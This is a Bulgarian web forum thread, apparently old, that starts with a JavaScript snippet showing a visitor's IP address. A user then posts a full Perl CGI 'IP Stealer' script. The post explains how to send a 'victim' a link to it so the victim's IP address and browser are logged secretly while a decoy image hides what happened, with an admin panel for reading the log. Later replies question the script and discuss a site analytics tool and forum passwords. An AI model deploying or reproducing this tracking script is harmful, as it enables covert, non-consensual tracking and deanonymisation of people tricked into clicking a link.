Javascript IP address display

S

staf

Registered
Този ръкопис пленява ip-адресът на човекът, попълващ вашият формуляр и го предава на вас като част на формата. Ip-адресът е показан в текстова кутия, която потребителят не може да редактира. Скриптът работи като приема ехото за # VAR =" дистанционно управление _ ADDR" от SSI и използуването JAVASCRIPT за да го поставя в текстовата кутия. Въпреки че то е възможно, за да го прави с JAVASCRIPT сам, това само работи с НетСкейп и доколкото аз мога да кажа, използуването SSI е единственият начин на кръстосаният браузер да правиш него. Вие ще имате нужда от уеб-сървер, способен на пускането SSI


Add the following to the BODY of your document:
Код: 
<script language="javascript">

//IP address display: By http://www.Hostroute.com
//Script featured on JavaScript Kit (http://www.javascriptkit.com)

var ip = ''

function ipval() {
document.myform.ipaddr.value=ip;
}
window.onload=ipval
</script>

<form method="post" action="" name="myform">
  <input type="text" name="ipaddr" readonly>
</form>
 
#!/usr/bin/perl

#|--------- IP Stealer ---------|
#+------------------------------+
#| Created by Dark-Intruder |
#+------------------------------+

use warnings;
use strict;
use CGI;
my $cgi = new CGI;

my $password = "va6ata parola tuk";
my $admin_pass = $cgi->param('adminpass') || '';
my $query = $cgi->param('admin') || '';
my $empty_log_file = $cgi->param('empty') || '';
my $old;
my $datetime = localtime();
my $ip= $ENV{REMOTE_ADDR};
my $browser=$ENV{HTTP_USER_AGENT};


if (-e "ip.txt") {
open OLD, "ip.txt" or die $!;
while (<OLD>) {
$old = "$old$_";
}
close (OLD);
}


if ($admin_pass eq $password) {
if ($empty_log_file eq "yes") {
open EMPTY, ">ip.txt" or die $!;
close (EMPTY);
}
print "Content-type: text/html\n\n";
print "
<html>
<head>
<title>LOG FILE</title>
</head>
<body bgcolor=\"#000000\">
<p align=\"center\"><b><font face=\"Arial Black\" size=\"5\" color=\"#FFFFFF\">LOG FILE<br>
</font><font face=\"Arial Black\" size=\"4\" color=\"#FF0000\">
<a style=\"text-decoration: none\" href=\"?adminpass=$password&empty=yes\"><font color=\"#FF0000\">Empty Log File</font></a></font></b><br>
<hr>
<font face=\"Verdana\" color=\"#FFFFFF\">";

print "$old";

print "
</font><hr></body></html>";
exit;
} else {
if ($admin_pass) {
print "Content-type: text/html\n\n";
print "Wrong Password!";
exit;
}
}


if ($query eq "login") {

print "Content-type: text/html\n\n";
print "
<html>
<head>
<title>Admin Panel</title>
</head>
<body bgcolor=\"#000000\">
<font color=\"#FFFFFF\" face=\"Impact\">password:</font>";

print $cgi->startform(-method=>'GET'),
$cgi->textfield(-name=>'adminpass', -size=>'15'),
$cgi->submit({-value=>'Send'}),
$cgi->endform();

print "</body></html>";

exit;
}



open FILE ,"> ip.txt" or die $!;
print FILE "<p>$old$datetime ------ IP: |$ip| ------ BROWSER: |$browser|</p>\n\n";

print "Content-type: text/html\n\n";
print "
<html>
<head>
<title>Picture</title>
</head>
<body bgcolor=\"#000000\">
<p align=\"center\">
<img border=\"0\" src=\" Tuk postavete patia do kartinkata \">
</p>
</body>
</html>";
Увеличете...

Tova e nova i podobrena versia na programata, koito be6e publikuvana v spisanieto predi vreme. Tazi versia e dosta po-udobna i malko po-polezna.
Izpolzvaiki tazi programa, mojete da vzemete IP-to na dadena jertva, kakto i da polu4ite dopulnitelno info za nego (primerno, info za izpolzvaniat ot nego browser...). V niakoi slu4ai tozi script moje da se okaje dosta polezen.

Poneje sum siguren, 4e 6te se nameri niakoi da pita: "Kak podiavolite da podkaram tva 4udo i za kvo mi e???"......6te obiasnia.

Source-ut publikuvan po-gore triabva da se copy-paste-ne v fail sus raz6irenie .pl ili .cgi. Sled tova tozi fail triabva da se ka4i na server, koito da podurja Perl.
Primerno: http://www.100webspace.com/

Sled kato ste go upload-nali....mojete da mu se radvate.
Primerno, davate na niakoi klamer link ot roda na:
http://moiasait/cgi-bin/IPStealer.pl
Sled kato vuprosniat klamer e izpolzval link-a...negovoto ip, kakto i malko dopulnitelno info za nego 6te bude zapisano v log file v su6tata dir, v koiato e i scriptut (IPStealer.pl). Gotinoto e, 4e pri pose6tenie na scripta klamera dori niama da razbere, 4e e precakan...prosto 6te vidi kartinkata, koiato ste zadali v reda:
<img border=\"0\" src=\" Tuk postavete patia do kartinkata \">

Za da mojete da izpolzvate programkata pulnocenno triabva da zadadete va6ata sobstvena parola za script-a:
my $password = "va6ata parola";

Za da se lognete kato admin...zadaite parametur na admin=login:
http://moiasait/cgi-bin/IPStealer.pl?admin=login
6te vidite html form-a....vuvedete parolata si, za da vlezate kato admin..
Kato admin 6te mojete da razgledate log file-a, kakto i da go iz4istite.


Pozvoliavam promeni vurhu koda(ako sa adekvatni)!

p.p.Moje da ne probachka pisax go mnogo otdavna!
 
Това е урока за извличане на ип адреса и други работи чрез php скрипт webagent
http://www.web-tourist.net/login/login/view.php?st=412
 
NeedFix за какво служи това чудо?
Аз пиша на PERL но не можах да схвана каква му е идеята.
Какво точно прави?
Дай с по прости думи.
Скрипта е написан максимално объркващо.
Има класове, контрол панели, логване и тн.
Виждам, че ползва две променливи на обкръжението но не мога да
разбера каква му е идеята.
Ако е само за да извлича IP адреса и какъв browser ползва
просто няма смисъл.
Достатъчно е да посети една html страница за да извлечеш всичко за него.

Ето ти webagent-a на нашия сайт.
http://www.web-tourist.net/phpagent/phpagent/haidibaidi.html
Следи всички които посещават сайта.
Тези които са се регистрирали им крие ip адреса.

КАкто виждаш доста неща се записват в него.
Може даже да свериш кога си влизал по дати и часове.
Но от цялата тази информация няма какво да ползваш за
нелицеприятни цели.
 
Това го правих отдавна(с един приятел) а и аз не разбирам много добре Perl(целия скрипт script e проста занимавка:wink: ) ,ако някой иска мога да му дам един още, по-кратък и не писан от мене.
 
А и админе може ли да ти дам едино предложение защо не направиш един подфорум където всеки да поства поучителни теми?И тестове(като моя :), само че по трудни)
 
NeedFix каза:
А и админе може ли да ти дам едино предложение защо не направиш един подфорум където всеки да поства поучителни теми?И тестове(като моя :), само че по трудни)
Увеличете...

http://www.web-tourist.net/login/lekcii2/login.php
 
Може и аз да съм виновен.
Ако си напишеш паролата с малки или големи букви има значение.
Ще го оправя.
Съжалявам.
 
Всищност няма да го оправям.
ТО така трябва да е. :)

Просто си напиши паролата коректно.
Както си се регнал.
 
Оправих го и на другите места.
С такава парола нямаше как да се логнеш никъде по сайта. :(
НАли знаеш, че паролата ти важи навсякъде?
 
Трябва да си влезнал или регистриран, за да отговориш тук.

Горе